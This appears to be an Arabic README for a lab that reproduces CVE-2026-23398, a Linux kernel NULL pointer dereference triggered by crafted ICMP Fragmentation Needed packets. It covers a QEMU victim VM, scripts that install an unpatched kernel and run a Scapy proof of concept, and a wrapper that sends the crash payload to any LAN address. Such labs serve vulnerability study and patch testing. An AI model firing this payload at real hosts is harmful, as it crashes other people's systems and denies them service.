
مختبر قابل لإعادة الإنتاج لـ CVE-2026-23398، وهو خطأ إلغاء مرجعية مؤشر فارغ (NULL dereference) في نواة لينكس داخل دالة icmp_tag_validation() الناتج عن حزم ICMP Fragmentation Needed، مما يسبب رفض الخدمة. يتضمن إعداد جهاز افتراضي QEMU، وإثبات المفهوم Scapy، وسكربتات لاختبار النواة المُصححة والضعيفة.
ip_no_pmtu_disc=3)مختبر قابل لإعادة الإنتاج لخلل نواة لينكس في icmp_tag_validation() (إلغاء مرجع مؤشر فارغ عندما يكون net.ipv4.ip_no_pmtu_disc = 3 ويصل ICMP من نوع Fragmentation Needed يحتوي رأسه الداخلي IPv4 على رقم بروتوكول بدون معالج في inet_protos[]).
للاستخدام المصرح به فقط: أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. التأثير هو حرمان من الخدمة (انهيار النواة).
| المكوّن | الغرض |
|---|
QEMU (qemu-system-x86_64, qemu-img) | الجهاز الافتراضي الضحية |
cloud-image-utils (cloud-localds)، wget، genisoimage | Cloud-init وتنزيل الصورة |
| Docker + Docker Compose | مرسل ICMP من المضيف (وضع شبكة host) |
| عميل OpenSSH | أتمتة SSH |
مفتاح SSH في ~/.ssh/id_ed25519.pub أو id_rsa.pub، أو sshpass | تسجيل دخول الضيف بدون كتابة كلمة مرور (المفاتيح موصى بها) |
| sudo | وضع TAP فقط (ICMP من المضيف إلى عنوان IP الثابت للجهاز الافتراضي) |
Python 3 و Scapy على المضيف مطلوبان فقط إذا كنت لا تستخدم Docker للحمولات عن بُعد.
├── send_frag_needed.py # PoC بـ Scapy (ICMP 3,4 + IP داخلي ببروتوكول غير شائع)
├── send-payload-to-host.sh # إرسال الحمولة إلى IP/اسم مضيف على شبكتك
├── docker-compose.yml # خدمة "sender" (شبكة host + CAP_NET_RAW)
├── Dockerfile
├── vm/ # الأقراص، بذور cloud-init، سجلات QEMU التسلسلية
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # بذرة DHCP (وضع usernet)
├── build-seed.sh # بذرة عنوان ثابت 192.168.76.2 (وضع TAP)
├── vm-start-usernet.sh # QEMU + شبكة مستخدم (منفذ SSH 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (بعد tap-up.sh)
├── tap-up.sh / tap-down.sh # واجهة TAP على المضيف (sudo)
├── run-lab-usernet.sh # التدفق الكامل: صورة + VM + Scapy على الضيف (نواة حديثة)
├── run-lab.sh # تدفق TAP + مرسل docker → 192.168.76.2
├── install-vulnerable-mainline.sh # mainline 6.12 غير مصحح + PoC بـ veth (انهيار)
└── poc-veth-netns.sh # التشغيل *داخل* الضيف (veth + netns)
شبكة QEMU المستخدم لا توصل ICMP القادم من المضيف إلى الضيف بشكل موثوق. التدفق الآلي يثبّت Scapy على الجهاز الافتراضي ويشغّل السكربت هناك. نواة Ubuntu الحالية عادةً مصححة: سترى "Sent 1 packets" ولكن لا انهيار.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# التشغيل الأول: تنزيل صورة Ubuntu Noble السحابية، التراكب، البذرة، تشغيل QEMU، SSH :2222، apt، PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (كلمة المرور lablab إذا كنت تعتمد على مصادقة كلمة المرور)../scripts/vm-stop-usernet.shvm/serial-usernet.logإصلاح CVE صدر في مارس 2026. بناء mainline أقدم (مثل 6.12.0 من 2024-11) لا يتضمن ذلك الإصلاح. السكربت يثبّت حزم .deb تلك في الجهاز الافتراضي، يعيد التشغيل، ويشغّل PoC باستخدام veth + مساحة أسماء شبكة بحيث يتبع ICMP مسار دخول حقيقي (الإرسال فقط إلى عنوان loopback/واجهة الضيف نفسه غير كافٍ).
تحذير: هذا ينتهي عادةً بـ انهيار النواة؛ يتوقف SSH عن الاستجابة.
# VM بـ usernet قيد التشغيل (أو بعد أن أنشأها run-lab-usernet مرة واحدة)
./scripts/vm-start-usernet.sh # إذا لم تكن قيد التشغيل بالفعل
./scripts/install-vulnerable-mainline.sh
| الإشارة | الانهيار حدث (متوقع على 6.12 القابلة للاستغلال) | الانهيار لم يحدث |
|---|---|---|
| SSH مباشرة بعد "Running PoC …" | يتعطل أو Connection timed out / Connection reset | الجلسة ما زالت تعمل؛ تحصل على شل |
مخرجات send_frag_needed.py | يجب أن ترى . Sent 1 packets. قبل موت SSH (غالبًا مقطوع إذا سقط الرابط فورًا) | Install Scapy: pip install scapy → Scapy كان مفقودًا على الضيف؛ لم يُرسل ICMP أبدًا. أعد تشغيل install-vulnerable-mainline.sh (يثبّت python3-scapy) أو شغّل sudo apt install -y python3-scapy على الجهاز الافتراضي وأعد تشغيل PoC |
| السجل التسلسلي | tail -f vm/serial-usernet.log يُظهر Kernel panic، icmp_unreach، CR2: 0000000000000010، إلخ. | لا أسطر انهيار؛ الضيف يستمر في العمل |
| عملية QEMU | ما زالت تعمل لكن نظام التشغيل الضيف ميت حتى إعادة التشغيل | الضيف ما زال يستجيب على المنفذ 2222 |
ملاحظة القرص الجديد: إذا شغّلت فقط prepare-disk.sh + vm-start-usernet.sh (وليس run-lab-usernet.sh)، فقد لا يحتوي الضيف على python3-scapy حتى يثبّته install-vulnerable-mainline.sh (أو تثبّته يدويًا).
بعد الانهيار — إعادة تعيين نظيفة:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# اختياري: إعادة تثبيت الحزم / إعادة تشغيل install-vulnerable-mainline.sh
يستخدم الضيف 192.168.76.2 والمضيف 192.168.76.1 على TAP. يتصرف ICMP كما في شبكة LAN حقيقية.
./scripts/tap-up.sh # sudo: ينشئ icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # عنونة ثابتة في cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# على الجهاز الافتراضي: sysctl -w net.ipv4.ip_no_pmtu_disc=3 ونواة قابلة للاستغلال إذا أردت انهيارًا
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh يربط جزءًا من هذا (يتطلب TAP + Docker).
غلاف ملائم (يحل اسم المضيف → IPv4، يفضّل Docker، وإلا sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # مرة واحدة
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
بدون Docker:
sudo pip install scapy # إذا لزم الأمر
sudo ./send-payload-to-host.sh 192.168.1.50
شروط الهدف المهمة لهذا CVE:
net.ipv4.ip_no_pmtu_disc = 3 (وضع PMTU المحسّن).إذا كانت النواة مصححة أو sysctl ليس 3، لن ترى انهيارًا؛ قد تظل الحزمة تُرسل على الشبكة.
| المتغير | الوصف |
|---|---|
ICMP_LAB_TAP | اسم جهاز TAP (الافتراضي icmp-lab-tap0) |
ICMP_LAB_HOST_IP | عنوان المضيف على TAP (الافتراضي 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | منفذ SSH لـ usernet (الافتراضي 2222) |
ICMP_LAB_SSH_HOST | مضيف SSH (الافتراضي 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (الالتزام 614aefe56af8e على mainline)3: الالتزام 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| الهدف | الأمر |
|---|---|
| مختبر usernet لأول مرة | ./scripts/run-lab-usernet.sh |
| تشغيل / إيقاف VM بـ usernet | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| نواة قابلة للاستغلال + PoC (انهيار) | ./scripts/install-vulnerable-mainline.sh |
| إعادة تعيين القرص بعد الانهيار | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| حمولة إلى IP/مضيف LAN | ./send-payload-to-host.sh <IP|hostname> |
| بناء صورة مرسل Docker | docker compose build |